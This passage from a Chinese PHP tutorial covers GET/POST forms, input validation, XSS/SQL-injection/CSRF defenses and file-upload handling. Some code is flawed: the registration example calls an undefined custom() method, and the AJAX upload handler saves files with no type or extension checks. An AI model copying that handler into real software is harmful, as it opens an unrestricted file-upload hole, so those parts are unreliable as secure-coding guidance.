        echo '<div class="product" style="border: 1px solid #eee; padding: 15px; margin: 10px 0; border-radius: 5px;">';
        echo '<h4>' . htmlspecialchars($product['name']) . '</h4>';
        echo '<p>分类:' . htmlspecialchars($product['category']) . '</p>';
        echo '<p>价格:¥' . number_format($product['price'], 2) . '</p>';
        echo '<form method="post" action="add_to_cart.php" style="display: inline;">';
        echo '<input type="hidden" name="product_id" value="' . $product['id'] . '">';
        echo '<button type="submit" name="action" value="add_to_cart">加入购物车</button>';
        echo '</form>';
        echo '</div>';
    }
} else {
    echo '<p>没有找到符合条件的产品。</p>';
}
?>

最佳实践

  1. 正确选择HTTP方法:根据操作性质选择GET或POST
  2. 输入验证:始终验证和清理用户输入
  3. 安全性考虑:防范XSS、CSRF等攻击
  4. 错误处理:提供清晰的错误信息
  5. 用户体验:使用适当的反馈机制

总结

GET和POST方法是PHP Web开发中最基础也是最重要的概念。正确理解和使用这两种方法,掌握它们的特点和适用场景,是开发安全、高效的Web应用程序的基础。通过本章的学习,你应该能够根据具体需求选择合适的HTTP方法,并实现安全可靠的数据处理逻辑。

表单验证

学习目标

  • 掌握客户端和服务器端验证的重要性
  • 学会使用PHP进行数据验证
  • 理解常见的安全威胁和防护方法
  • 能够创建完整的验证系统

验证的重要性

表单验证是Web开发中的关键环节,它确保:

  1. 数据完整性:确保用户输入的数据格式正确
  2. 安全性:防止恶意数据注入和攻击
  3. 用户体验:提供及时、准确的错误反馈
  4. 系统稳定性:防止无效数据导致程序错误

客户端验证 vs 服务器端验证

客户端验证

  • 优点:即时反馈,减轻服务器负担
  • 缺点:可以被绕过,不安全
  • 技术:JavaScript、HTML5验证属性

服务器端验证

  • 优点:安全可靠,无法绕过
  • 缺点:需要网络请求,用户体验稍差
  • 技术:PHP验证逻辑

PHP验证函数和方法

1. 基本验证

<?php
// 检查是否为空
function validateRequired($value) {
    return !empty(trim($value));
}

// 检查字符串长度
function validateLength($value, $min = 0, $max = PHP_INT_MAX) {
    $length = strlen(trim($value));
    return $length >= $min && $length <= $max;
}

// 检查邮箱格式
function validateEmail($email) {
    return filter_var($email, FILTER_VALIDATE_EMAIL) !== false;
}

// 检查数字
function validateNumber($value, $min = null, $max = null) {
    if (!is_numeric($value)) {
        return false;
    }

    $num = (float)$value;

    if ($min !== null && $num < $min) {
        return false;
    }

    if ($max !== null && $num > $max) {
        return false;
    }

    return true;
}
?>

2. 高级验证类

<?php
class FormValidator {
    private $errors = [];
    private $data;

    public function __construct($data) {
        $this->data = $data;
    }

    public function required($field, $message = null) {
        if (empty(trim($this->data[$field] ?? ''))) {
            $this->errors[$field] = $message ?? ucfirst($field) . '不能为空';
        }
        return $this;
    }

    public function email($field, $message = null) {
        $value = $this->data[$field] ?? '';
        if (!empty($value) && !filter_var($value, FILTER_VALIDATE_EMAIL)) {
            $this->errors[$field] = $message ?? '邮箱格式不正确';
        }
        return $this;
    }

    public function minLength($field, $min, $message = null) {
        $value = $this->data[$field] ?? '';
        if (!empty($value) && strlen(trim($value)) < $min) {
            $this->errors[$field] = $message ?? ucfirst($field) . '至少需要' . $min . '个字符';
        }
        return $this;
    }

    public function maxLength($field, $max, $message = null) {
        $value = $this->data[$field] ?? '';
        if (!empty($value) && strlen(trim($value)) > $max) {
            $this->errors[$field] = $message ?? ucfirst($field) . '不能超过' . $max . '个字符';
        }
        return $this;
    }

    public function pattern($field, $pattern, $message = null) {
        $value = $this->data[$field] ?? '';
        if (!empty($value) && !preg_match($pattern, $value)) {
            $this->errors[$field] = $message ?? ucfirst($field) . '格式不正确';
        }
        return $this;
    }

    public function getErrors() {
        return $this->errors;
    }

    public function isValid() {
        return empty($this->errors);
    }
}
?>

常见验证场景

1. 用户注册验证

<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $data = $_POST;

    $validator = new FormValidator($data);

    $validator->required('username', '用户名不能为空')
              ->minLength('username', 3, '用户名至少3个字符')
              ->maxLength('username', 20, '用户名不能超过20个字符')
              ->pattern('username', '/^[a-zA-Z0-9_]+$/', '用户名只能包含字母、数字和下划线')

              ->required('email', '邮箱不能为空')
              ->email('email', '请输入有效的邮箱地址')

              ->required('password', '密码不能为空')
              ->minLength('password', 8, '密码至少8个字符')
              ->pattern('password', '/^(?=.*[a-z])(?=.*[A-Z])(?=.*\d).+$/',
                       '密码必须包含大小写字母和数字')

              ->required('confirm_password', '请确认密码')
              ->custom('confirm_password', function($value) use ($data) {
                  return $value === ($data['password'] ?? '');
              }, '两次输入的密码不一致');

    if ($validator->isValid()) {
        // 验证通过,处理注册逻辑
        $username = trim($data['username']);
        $email = trim($data['email']);
        $password = password_hash($data['password'], PASSWORD_DEFAULT);

        // 保存到数据库...
        echo "注册成功!";
    } else {
        // 显示错误信息
        $errors = $validator->getErrors();
        foreach ($errors as $error) {
            echo '<p style="color: red;">' . htmlspecialchars($error) . '</p>';
        }
    }
}
?>

2. 文件上传验证

<?php
function validateFileUpload($file, $allowedTypes = [], $maxSize = 5242880) {
    $errors = [];

    // 检查文件是否上传
    if ($file['error'] !== UPLOAD_ERR_OK) {
        switch ($file['error']) {
            case UPLOAD_ERR_INI_SIZE:
                $errors[] = '文件大小超过服务器限制';
                break;
            case UPLOAD_ERR_FORM_SIZE:
                $errors[] = '文件大小超过表单限制';
                break;
            case UPLOAD_ERR_PARTIAL:
                $errors[] = '文件只有部分被上传';
                break;
            case UPLOAD_ERR_NO_FILE:
                $errors[] = '没有文件被上传';
                break;
            default:
                $errors[] = '未知上传错误';
        }
        return $errors;
    }

    // 检查文件大小
    if ($file['size'] > $maxSize) {
        $errors[] = '文件大小不能超过 ' . ($maxSize / 1024 / 1024) . 'MB';
    }

    // 检查文件类型
    if (!empty($allowedTypes)) {
        $finfo = finfo_open(FILEINFO_MIME_TYPE);
        $mimeType = finfo_file($finfo, $file['tmp_name']);
        finfo_close($finfo);

        if (!in_array($mimeType, $allowedTypes)) {
            $errors[] = '不支持的文件类型';
        }
    }

    // 检查文件扩展名
    $allowedExtensions = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'doc', 'docx'];
    $extension = strtolower(pathinfo($file['name'], PATHINFO_EXTENSION));

    if (!in_array($extension, $allowedExtensions)) {
        $errors[] = '不支持的文件扩展名';
    }

    return $errors;
}

// 使用示例
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['avatar'])) {
    $allowedTypes = ['image/jpeg', 'image/png', 'image/gif'];
    $maxSize = 2 * 1024 * 1024; // 2MB

    $errors = validateFileUpload($_FILES['avatar'], $allowedTypes, $maxSize);

    if (empty($errors)) {
        // 文件验证通过,处理上传
        echo "文件验证通过";
    } else {
        foreach ($errors as $error) {
            echo '<p style="color: red;">' . htmlspecialchars($error) . '</p>';
        }
    }
}
?>

安全性验证

1. XSS防护

<?php
function sanitizeInput($input) {
    if (is_array($input)) {
        return array_map('sanitizeInput', $input);
    }
    return htmlspecialchars(trim($input), ENT_QUOTES, 'UTF-8');
}

function sanitizeOutput($output) {
    return htmlspecialchars($output, ENT_QUOTES, 'UTF-8');
}

// 使用示例
$userInput = $_POST['comment'] ?? '';
$safeInput = sanitizeInput($userInput);

// 输出时再次转义
echo sanitizeOutput($safeInput);
?>

2. SQL注入防护

<?php
// 使用预处理语句防止SQL注入
function safeQuery($pdo, $sql, $params = []) {
    $stmt = $pdo->prepare($sql);
    $stmt->execute($params);
    return $stmt;
}

// 使用示例
$pdo = new PDO('mysql:host=localhost;dbname=test', 'username', 'password');

$username = $_POST['username'] ?? '';
$email = $_POST['email'] ?? '';

$sql = "INSERT INTO users (username, email) VALUES (?, ?)";
$params = [$username, $email];

$stmt = safeQuery($pdo, $sql, $params);
?>

3. CSRF防护

<?php
session_start();

function generateCsrfToken() {
    if (empty($_SESSION['csrf_token'])) {
        $_SESSION['csrf_token'] = bin2hex(random_bytes(32));
        $_SESSION['csrf_token_time'] = time();
    }
    return $_SESSION['csrf_token'];
}

function validateCsrfToken($token, $maxAge = 3600) {
    if (!isset($_SESSION['csrf_token']) || !hash_equals($_SESSION['csrf_token'], $token)) {
        return false;
    }

    // 检查令牌是否过期
    if (isset($_SESSION['csrf_token_time']) && (time() - $_SESSION['csrf_token_time']) > $maxAge) {
        unset($_SESSION['csrf_token']);
        unset($_SESSION['csrf_token_time']);
        return false;
    }

    return true;
}

// 在表单中包含CSRF令牌
$csrfToken = generateCsrfToken();
echo '<input type="hidden" name="csrf_token" value="' . $csrfToken . '">';

// 验证CSRF令牌
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $token = $_POST['csrf_token'] ?? '';
    if (!validateCsrfToken($token)) {
        die('CSRF验证失败');
    }
}
?>

AJAX表单验证

JavaScript前端验证

class FormValidator {
    constructor(formId) {
        this.form = document.getElementById(formId);
        this.errors = {};
        this.setupEventListeners();
    }

    setupEventListeners() {
        this.form.addEventListener('submit', (e) => {
            if (!this.validate()) {
                e.preventDefault();
                this.displayErrors();
            }
        });

        // 实时验证
        const inputs = this.form.querySelectorAll('input, textarea, select');
        inputs.forEach(input => {
            input.addEventListener('blur', () => {
                this.validateField(input);
            });
        });
    }

    validate() {
        const inputs = this.form.querySelectorAll('input, textarea, select');
        this.errors = {};

        inputs.forEach(input => {
            this.validateField(input);
        });

        return Object.keys(this.errors).length === 0;
    }

    validateField(input) {
        const name = input.name;
        const value = input.value.trim();
        const type = input.type;

        // 必填验证
        if (input.hasAttribute('required') && !value) {
            this.errors[name] = `${this.getFieldLabel(name)}不能为空`;
            return;
        }

        // 长度验证
        if (input.hasAttribute('minlength') && value.length < parseInt(input.minlength)) {
            this.errors[name] = `${this.getFieldLabel(name)}至少需要${input.minlength}个字符`;
            return;
        }

        // 类型验证
        switch (type) {
            case 'email':
                if (value && !this.isValidEmail(value)) {
                    this.errors[name] = '邮箱格式不正确';
                }
                break;
            case 'tel':
                if (value && !this.isValidPhone(value)) {
                    this.errors[name] = '电话号码格式不正确';
                }
                break;
        }

        // 清除该字段的错误
        if (!this.errors[name]) {
            this.clearFieldError(input);
        }
    }

    isValidEmail(email) {
        const pattern = /^[^\s@]+@[^\s@]+\.[^\s@]+$/;
        return pattern.test(email);
    }

    isValidPhone(phone) {
        const pattern = /^1[3-9]\d{9}$/;
        return pattern.test(phone);
    }

    getFieldLabel(name) {
        const label = this.form.querySelector(`label[for="${name}"]`);
        return label ? label.textContent.replace(':', '') : name;
    }

    displayErrors() {
        Object.keys(this.errors).forEach(fieldName => {
            const field = this.form.querySelector(`[name="${fieldName}"]`);
            if (field) {
                this.showFieldError(field, this.errors[fieldName]);
            }
        });
    }

    showFieldError(field, message) {
        this.clearFieldError(field);

        field.classList.add('error');

        const errorElement = document.createElement('div');
        errorElement.className = 'error-message';
        errorElement.textContent = message;

        field.parentNode.appendChild(errorElement);
    }

    clearFieldError(field) {
        field.classList.remove('error');

        const errorElement = field.parentNode.querySelector('.error-message');
        if (errorElement) {
            errorElement.remove();
        }
    }
}

// 使用示例
document.addEventListener('DOMContentLoaded', () => {
    new FormValidator('registrationForm');
});

总结

表单验证是Web开发中不可或缺的重要环节。通过结合客户端和服务器端验证,使用适当的安全措施,可以创建既安全又用户友好的表单系统。记住:永远不要信任用户的输入,始终在服务器端进行验证。

文件上传

学习目标

  • 掌握PHP文件上传的基本原理
  • 学会处理各种文件上传场景
  • 理解文件上传的安全风险和防护措施
  • 能够构建完整的文件上传系统

文件上传概述

文件上传是Web开发中的常见功能,允许用户将本地文件上传到服务器:

  • 用户头像:个人资料图片上传
  • 文档管理:上传和分享文档
  • 媒体内容:图片、视频、音频上传
  • 数据导入:批量数据文件处理
  • 系统配置:配置文件上传

PHP文件上传配置

php.ini 配置

; 文件上传相关配置
file_uploads = On              ; 启用文件上传
upload_max_filesize = 2M       ; 单个文件最大大小
max_file_uploads = 20          ; 同时上传文件数量限制
post_max_size = 8M             ; POST数据最大大小
memory_limit = 128M            ; 内存限制
max_execution_time = 30        ; 脚本执行时间限制
upload_tmp_dir = /tmp          ; 临时文件目录

基本文件上传

HTML表单

<!DOCTYPE html>
<html lang="zh-CN">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>文件上传</title>
    <style>
        .upload-form {
            max-width: 600px;
            margin: 20px auto;
            padding: 20px;
            border: 1px solid #ddd;
            border-radius: 5px;
        }
        .form-group {
            margin-bottom: 15px;
        }
        label {
            display: block;
            margin-bottom: 5px;
            font-weight: bold;
        }
        input[type="file"] {
            width: 100%;
            padding: 8px;
            border: 1px solid #ccc;
            border-radius: 3px;
        }
        button {
            background-color: #007bff;
            color: white;
            padding: 10px 20px;
            border: none;
            border-radius: 3px;
            cursor: pointer;
        }
        .progress {
            width: 100%;
            height: 20px;
            background-color: #f0f0f0;
            border-radius: 10px;
            overflow: hidden;
            margin-top: 10px;
        }
        .progress-bar {
            height: 100%;
            background-color: #007bff;
            width: 0%;
            transition: width 0.3s ease;
        }
    </style>
</head>
<body>
    <h1>文件上传</h1>

    <!-- 单文件上传 -->
    <div class="upload-form">
        <h2>单文件上传</h2>
        <form action="upload_single.php" method="post" enctype="multipart/form-data">
            <div class="form-group">
                <label for="file1">选择文件:</label>
                <input type="file" id="file1" name="file" accept="image/*" required>
            </div>
            <div class="form-group">
                <label for="description">文件描述:</label>
                <input type="text" id="description" name="description" placeholder="输入文件描述">
            </div>
            <button type="submit">上传文件</button>
        </form>
    </div>

    <!-- 多文件上传 -->
    <div class="upload-form">
        <h2>多文件上传</h2>
        <form action="upload_multiple.php" method="post" enctype="multipart/form-data">
            <div class="form-group">
                <label for="files">选择多个文件:</label>
                <input type="file" id="files" name="files[]" multiple accept="image/*,application/pdf">
            </div>
            <button type="submit">上传文件</button>
        </form>
    </div>

    <!-- 拖拽上传 -->
    <div class="upload-form">
        <h2>拖拽上传</h2>
        <div id="dropZone" style="
            border: 2px dashed #ccc;
            padding: 40px;
            text-align: center;
            background-color: #f9f9f9;
            cursor: pointer;
        ">
            <p>拖拽文件到这里或点击选择文件</p>
            <input type="file" id="dropFile" name="file" multiple style="display: none;">
        </div>
        <div class="progress">
            <div class="progress-bar" id="progressBar"></div>
        </div>
    </div>

    <script>
        // 拖拽上传功能
        const dropZone = document.getElementById('dropZone');
        const dropFile = document.getElementById('dropFile');
        const progressBar = document.getElementById('progressBar');

        dropZone.addEventListener('click', () => {
            dropFile.click();
        });

        dropZone.addEventListener('dragover', (e) => {
            e.preventDefault();
            dropZone.style.backgroundColor = '#e3f2fd';
        });

        dropZone.addEventListener('dragleave', () => {
            dropZone.style.backgroundColor = '#f9f9f9';
        });

        dropZone.addEventListener('drop', (e) => {
            e.preventDefault();
            dropZone.style.backgroundColor = '#f9f9f9';

            const files = e.dataTransfer.files;
            handleFiles(files);
        });

        function handleFiles(files) {
            // 创建FormData对象
            const formData = new FormData();
            for (let i = 0; i < files.length; i++) {
                formData.append('files[]', files[i]);
            }

            // 创建AJAX请求
            const xhr = new XMLHttpRequest();

            // 进度事件
            xhr.upload.addEventListener('progress', (e) => {
                if (e.lengthComputable) {
                    const percentComplete = (e.loaded / e.total) * 100;
                    progressBar.style.width = percentComplete + '%';
                }
            });

            // 完成事件
            xhr.addEventListener('load', () => {
                if (xhr.status === 200) {
                    alert('文件上传成功!');
                    progressBar.style.width = '0%';
                } else {
                    alert('文件上传失败!');
                }
            });

            // 错误事件
            xhr.addEventListener('error', () => {
                alert('上传过程中发生错误!');
            });

            // 发送请求
            xhr.open('POST', 'upload_ajax.php', true);
            xhr.send(formData);
        }
    </script>
</body>
</html>

PHP处理代码

单文件上传处理

<?php
// upload_single.php
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    try {
        // 检查是否有文件上传
        if (!isset($_FILES['file']) || $_FILES['file']['error'] !== UPLOAD_ERR_OK) {
            throw new Exception('请选择要上传的文件');
        }

        $file = $_FILES['file'];
        $description = $_POST['description'] ?? '';

        // 验证文件
        $errors = validateFile($file);
        if (!empty($errors)) {
            throw new Exception(implode(', ', $errors));
        }

        // 处理上传
        $result = processFileUpload($file, $description);

        if ($result) {
            echo '<div style="color: green; padding: 10px; border: 1px solid #4CAF50; background-color: #f0f8f0; border-radius: 5px;">';
            echo '<h3>文件上传成功!</h3>';
            echo '<p>文件名:' . htmlspecialchars($result['filename']) . '</p>';
            echo '<p>文件大小:' . formatFileSize($result['size']) . '</p>';
            echo '<p>文件类型:' . htmlspecialchars($result['type']) . '</p>';
            if ($description) {
                echo '<p>描述:' . htmlspecialchars($description) . '</p>';
            }
            echo '<p><a href="' . htmlspecialchars($result['url']) . '" target="_blank">查看文件</a></p>';
            echo '</div>';
        }

    } catch (Exception $e) {
        echo '<div style="color: red; padding: 10px; border: 1px solid #f44336; background-color: #fff0f0; border-radius: 5px;">';
        echo '<h3>上传失败</h3>';
        echo '<p>' . htmlspecialchars($e->getMessage()) . '</p>';
        echo '</div>';
    }
}

/**
 * 验证上传的文件
 */
function validateFile($file) {
    $errors = [];

    // 检查文件大小
    $maxSize = 5 * 1024 * 1024; // 5MB
    if ($file['size'] > $maxSize) {
        $errors[] = '文件大小不能超过 5MB';
    }

    // 检查文件类型
    $allowedTypes = [
        'image/jpeg',
        'image/png',
        'image/gif',
        'image/webp',
        'application/pdf',
        'text/plain',
        'application/msword',
        'application/vnd.openxmlformats-officedocument.wordprocessingml.document'
    ];

    if (!in_array($file['type'], $allowedTypes)) {
        $errors[] = '不支持的文件类型';
    }

    // 检查文件扩展名
    $allowedExtensions = ['jpg', 'jpeg', 'png', 'gif', 'webp', 'pdf', 'txt', 'doc', 'docx'];
    $extension = strtolower(pathinfo($file['name'], PATHINFO_EXTENSION));

    if (!in_array($extension, $allowedExtensions)) {
        $errors[] = '不支持的文件扩展名';
    }

    // 使用finfo检查真实文件类型
    $finfo = finfo_open(FILEINFO_MIME_TYPE);
    $mimeType = finfo_file($finfo, $file['tmp_name']);
    finfo_close($finfo);

    if (!in_array($mimeType, $allowedTypes)) {
        $errors[] = '文件内容与扩展名不匹配';
    }

    return $errors;
}

/**
 * 处理文件上传
 */
function processFileUpload($file, $description = '') {
    // 创建上传目录
    $uploadDir = 'uploads/' . date('Y/m/d');
    if (!file_exists($uploadDir)) {
        mkdir($uploadDir, 0755, true);
    }

    // 生成安全的文件名
    $originalName = $file['name'];
    $extension = strtolower(pathinfo($originalName, PATHINFO_EXTENSION));
    $basename = pathinfo($originalName, PATHINFO_FILENAME);

    // 清理文件名
    $safeBasename = preg_replace('/[^a-zA-Z0-9\-_]/', '', $basename);
    $filename = $safeBasename . '_' . uniqid() . '.' . $extension;

    $uploadPath = $uploadDir . '/' . $filename;

    // 移动文件
    if (!move_uploaded_file($file['tmp_name'], $uploadPath)) {
        throw new Exception('文件移动失败');
    }

    // 保存文件信息(这里可以保存到数据库)
    $fileInfo = [
        'original_name' => $originalName,
        'filename' => $filename,
        'path' => $uploadPath,
        'url' => $uploadPath,
        'size' => $file['size'],
        'type' => $file['type'],
        'description' => $description,
        'upload_time' => date('Y-m-d H:i:s')
    ];

    // 保存到数据库示例
    // saveFileInfo($fileInfo);

    return $fileInfo;
}

/**
 * 格式化文件大小
 */
function formatFileSize($bytes) {
    $units = ['B', 'KB', 'MB', 'GB'];
    $bytes = max($bytes, 0);
    $pow = floor(($bytes ? log($bytes) : 0) / log(1024));
    $pow = min($pow, count($units) - 1);

    $bytes /= pow(1024, $pow);

    return round($bytes, 2) . ' ' . $units[$pow];
}

/**
 * 获取文件MIME类型
 */
function getMimeType($filename) {
    $finfo = finfo_open(FILEINFO_MIME_TYPE);
    $mimeType = finfo_file($finfo, $filename);
    finfo_close($finfo);
    return $mimeType;
}

/**
 * 生成缩略图(仅适用于图片)
 */
function createThumbnail($sourcePath, $targetPath, $width = 200, $height = 200) {
    // 获取图片信息
    $imageInfo = getimagesize($sourcePath);
    if (!$imageInfo) {
        return false;
    }

    $sourceWidth = $imageInfo[0];
    $sourceHeight = $imageInfo[1];
    $mimeType = $imageInfo['mime'];

    // 根据MIME类型创建图片资源
    switch ($mimeType) {
        case 'image/jpeg':
            $sourceImage = imagecreatefromjpeg($sourcePath);
            break;
        case 'image/png':
            $sourceImage = imagecreatefrompng($sourcePath);
            break;
        case 'image/gif':
            $sourceImage = imagecreatefromgif($sourcePath);
            break;
        case 'image/webp':
            $sourceImage = imagecreatefromwebp($sourcePath);
            break;
        default:
            return false;
    }

    if (!$sourceImage) {
        return false;
    }

    // 计算缩略图尺寸
    $ratio = min($width / $sourceWidth, $height / $sourceHeight);
    $thumbWidth = (int)($sourceWidth * $ratio);
    $thumbHeight = (int)($sourceHeight * $ratio);

    // 创建缩略图
    $thumbImage = imagecreatetruecolor($thumbWidth, $thumbHeight);

    // 处理透明度(PNG和GIF)
    if ($mimeType == 'image/png' || $mimeType == 'image/gif') {
        imagealphablending($thumbImage, false);
        imagesavealpha($thumbImage, true);
        $transparent = imagecolorallocatealpha($thumbImage, 255, 255, 255, 127);
        imagefilledrectangle($thumbImage, 0, 0, $thumbWidth, $thumbHeight, $transparent);
    }

    // 复制并调整大小
    imagecopyresampled($thumbImage, $sourceImage, 0, 0, 0, 0, $thumbWidth, $thumbHeight, $sourceWidth, $sourceHeight);

    // 保存缩略图
    $result = false;
    switch ($mimeType) {
        case 'image/jpeg':
            $result = imagejpeg($thumbImage, $targetPath, 90);
            break;
        case 'image/png':
            $result = imagepng($thumbImage, $targetPath, 9);
            break;
        case 'image/gif':
            $result = imagegif($thumbImage, $targetPath);
            break;
        case 'image/webp':
            $result = imagewebp($thumbImage, $targetPath, 90);
            break;
    }

    // 释放内存
    imagedestroy($sourceImage);
    imagedestroy($thumbImage);

    return $result;
}
?>

多文件上传处理

<?php
// upload_multiple.php
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $uploadedFiles = [];
    $errors = [];

    if (!isset($_FILES['files'])) {
        echo '没有文件被上传';
        exit;
    }

    $files = $_FILES['files'];

    // 处理多个文件
    $fileCount = count($files['name']);

    for ($i = 0; $i < $fileCount; $i++) {
        $file = [
            'name' => $files['name'][$i],
            'type' => $files['type'][$i],
            'tmp_name' => $files['tmp_name'][$i],
            'error' => $files['error'][$i],
            'size' => $files['size'][$i]
        ];

        // 跳过空文件
        if ($file['error'] == UPLOAD_ERR_NO_FILE) {
            continue;
        }

        try {
            // 验证文件
            $fileErrors = validateFile($file);
            if (!empty($fileErrors)) {
                $errors[$file['name']] = $fileErrors;
                continue;
            }

            // 处理上传
            $result = processFileUpload($file);
            $uploadedFiles[] = $result;

        } catch (Exception $e) {
            $errors[$file['name']] = [$e->getMessage()];
        }
    }

    // 显示结果
    if (!empty($uploadedFiles)) {
        echo '<div style="color: green; padding: 10px; border: 1px solid #4CAF50; background-color: #f0f8f0; border-radius: 5px; margin-bottom: 20px;">';
        echo '<h3>成功上传 ' . count($uploadedFiles) . ' 个文件</h3>';
        foreach ($uploadedFiles as $file) {
            echo '<p>' . htmlspecialchars($file['filename']) . ' (' . formatFileSize($file['size']) . ')</p>';
        }
        echo '</div>';
    }

    if (!empty($errors)) {
        echo '<div style="color: red; padding: 10px; border: 1px solid #f44336; background-color: #fff0f0; border-radius: 5px;">';
        echo '<h3>上传失败的文件</h3>';
        foreach ($errors as $filename => $fileErrors) {
            echo '<p><strong>' . htmlspecialchars($filename) . ':</strong> ' . implode(', ', $fileErrors) . '</p>';
        }
        echo '</div>';
    }
}
?>

AJAX上传处理

<?php
// upload_ajax.php
header('Content-Type: application/json');

try {
    if (!isset($_FILES['files'])) {
        throw new Exception('没有文件被上传');
    }

    $files = $_FILES['files'];
    $uploadedFiles = [];

    // 处理单个或多个文件
    if (is_array($files['name'])) {
        // 多文件上传
        $fileCount = count($files['name']);
        for ($i = 0; $i < $fileCount; $i++) {
            $file = [
                'name' => $files['name'][$i],
                'type' => $files['type'][$i],
                'tmp_name' => $files['tmp_name'][$i],
                'error' => $files['error'][$i],
                'size' => $files['size'][$i]
            ];

            if ($file['error'] == UPLOAD_ERR_OK) {
                $result = processFileUpload($file);
                $uploadedFiles[] = $result;
            }
        }
    } else {
        // 单文件上传
        if ($files['error'] == UPLOAD_ERR_OK) {
            $result = processFileUpload($files);
            $uploadedFiles[] = $result;
        }
    }

    echo json_encode([
        'success' => true,
        'message' => '文件上传成功',
        'files' => $uploadedFiles
    ]);

} catch (Exception $e) {
    http_response_code(400);
    echo json_encode([
        'success' => false,
        'message' => $e->getMessage()
    ]);
}
?>

安全性考虑

1. 文件类型验证

<?php
function validateFileType($file, $allowedTypes) {
    // 检查MIME类型
    $finfo = finfo_open(FILEINFO_MIME_TYPE);
    $mimeType = finfo_file($finfo, $file['tmp_name']);
    finfo_close($finfo);

    if (!in_array($mimeType, $allowedTypes)) {
        return false;
    }

    // 检查扩展名
    $extension = strtolower(pathinfo($file['name'], PATHINFO_EXTENSION));
    $allowedExtensions = array_map(function($type) {
        return explode('/', $type)[1];
    }, $allowedTypes);

    if (!in_array($extension, $allowedExtensions)) {
        return false;
    }

    return true;
}

// 使用示例
$allowedImageTypes = ['image/jpeg', 'image/png', 'image/gif', 'image/webp'];
if (!validateFileType($_FILES['avatar'], $allowedImageTypes)) {
    die('只允许上传图片文件');
}
?>

2. 文件大小限制

<?php
function validateFileSize($file, $maxSize) {
    return $file['size'] <= $maxSize;
}

// 根据文件类型设置不同的大小限制
function getMaxFileSizeByType($mimeType) {
    $limits = [
        'image/jpeg' => 5 * 1024 * 1024,      // 5MB
        'image/png' => 5 * 1024 * 1024,       // 5MB
        'image/gif' => 2 * 1024 * 1024,       // 2MB
        'application/pdf' => 10 * 1024 * 1024, // 10MB
        'text/plain' => 1 * 1024 * 1024,       // 1MB
    ];

    return $limits[$mimeType] ?? 2 * 1024 * 1024; // 默认2MB
}
?>

3. 文件名安全处理

<?php
function generateSafeFilename($originalName) {
    // 获取文件信息
    $pathInfo = pathinfo($originalName);
    $extension = strtolower($pathInfo['extension']);
    $basename = $pathInfo['filename'];

    // 清理文件名:只保留字母、数字、连字符和下划线
    $safeBasename = preg_replace('/[^a-zA-Z0-9\-_]/', '', $basename);

    // 如果清理后为空,使用默认名称
    if (empty($safeBasename)) {
        $safeBasename = 'file';
    }

    // 限制长度
    $safeBasename = substr($safeBasename, 0, 50);

    // 添加唯一ID防止文件名冲突
    $uniqueId = uniqid();
    $timestamp = date('YmdHis');

    return sprintf('%s_%s_%s.%s', $safeBasename, $timestamp, $uniqueId, $extension);
}

function isExecutableFile($filename) {
    $executableExtensions = ['php', 'phtml', 'php3', 'php4', 'php5', 'php7', 'phps', 'sh', 'bat', 'exe', 'com', 'cmd', 'scr'];
    $extension = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
    return in_array($extension, $executableExtensions);
}
?>

4. 目录权限设置

<?php
function secureUploadDirectory($uploadDir) {
    // 创建目录(如果不存在)
    if (!file_exists($uploadDir)) {
        mkdir($uploadDir, 0755, true);
    }

    // 设置目录权限
    chmod($uploadDir, 0755);

    // 创建.htaccess文件防止直接访问(仅适用于Apache)
    $htaccessFile = $uploadDir . '/.htaccess';
    if (!file_exists($htaccessFile)) {
        $htaccessContent = "Order deny,allow\nDeny from all\n";
        if (in_array(pathinfo($uploadDir, PATHINFO_BASENAME), ['images', 'avatars', 'photos'])) {
            $htaccessContent = "Order allow,deny\nAllow from all\n";
        }
        file_put_contents($htaccessFile, $htaccessContent);
    }

    // 创建index.html防止目录列表
    $indexFile = $uploadDir . '/index.html';
    if (!file_exists($indexFile)) {
        file_put_contents($indexFile, '<!DOCTYPE html><html><head><title>Access Denied</title></head><body><h1>Access Denied</h1></body></html>');
    }
}

// 使用示例
secureUploadDirectory('uploads/images');
?>

完整的文件上传类

<?php
class FileUploader {
    private $uploadDir;
    private $allowedTypes;
    private $maxFileSize;
    private $errors;

    public function __construct($uploadDir = 'uploads', $allowedTypes = [], $maxFileSize = 5242880) {
        $this->uploadDir = rtrim($uploadDir, '/');
        $this->allowedTypes = $allowedTypes;
        $this->maxFileSize = $maxFileSize;
        $this->errors = [];

        $this->initUploadDirectory();
    }

    private function initUploadDirectory() {
        if (!file_exists($this->uploadDir)) {
            mkdir($this->uploadDir, 0755, true);
        }
    }

    public function upload($file, $description = '') {
        $this->errors = [];

        if (!$this->validateFile($file)) {
            return false;
        }

        return $this->processUpload($file, $description);
    }

    public function uploadMultiple($files) {
        $this->errors = [];
        $uploadedFiles = [];

        foreach ($files['name'] as $key => $name) {
            $file = [
                'name' => $name,
                'type' => $files['type'][$key],
                'tmp_name' => $files['tmp_name'][$key],
                'error' => $files['error'][$key],
                'size' => $files['size'][$key]
            ];

            if ($file['error'] === UPLOAD_ERR_OK) {
                $result = $this->upload($file);
                if ($result) {
                    $uploadedFiles[] = $result;
                }
            }
        }

        return $uploadedFiles;
    }

    private function validateFile($file) {
        if ($file['error'] !== UPLOAD_ERR_OK) {
            $this->errors[] = $this->getUploadErrorMessage($file['error']);
            return false;
        }

        if (!empty($this->allowedTypes) && !in_array($file['type'], $this->allowedTypes)) {
            $this->errors[] = '不支持的文件类型';
            return false;
        }

        if ($file['size'] > $this->maxFileSize) {
            $this->errors[] = '文件大小超过限制';
            return false;
        }

        // 额外的安全检查
        $finfo = finfo_open(FILEINFO_MIME_TYPE);
        $mimeType = finfo_file($finfo, $file['tmp_name']);
        finfo_close($finfo);

        if (!empty($this->allowedTypes) && !in_array($mimeType, $this->allowedTypes)) {
            $this->errors[] = '文件类型验证失败';
            return false;
        }

        return true;
    }

    private function processUpload($file, $description = '') {
        $filename = $this->generateSafeFilename($file['name']);
        $uploadPath = $this->uploadDir . '/' . $filename;

        if (!move_uploaded_file($file['tmp_name'], $uploadPath)) {
            $this->errors[] = '文件移动失败';
            return false;
        }

        return [
            'filename' => $filename,
            'original_name' => $file['name'],
            'path' => $uploadPath,
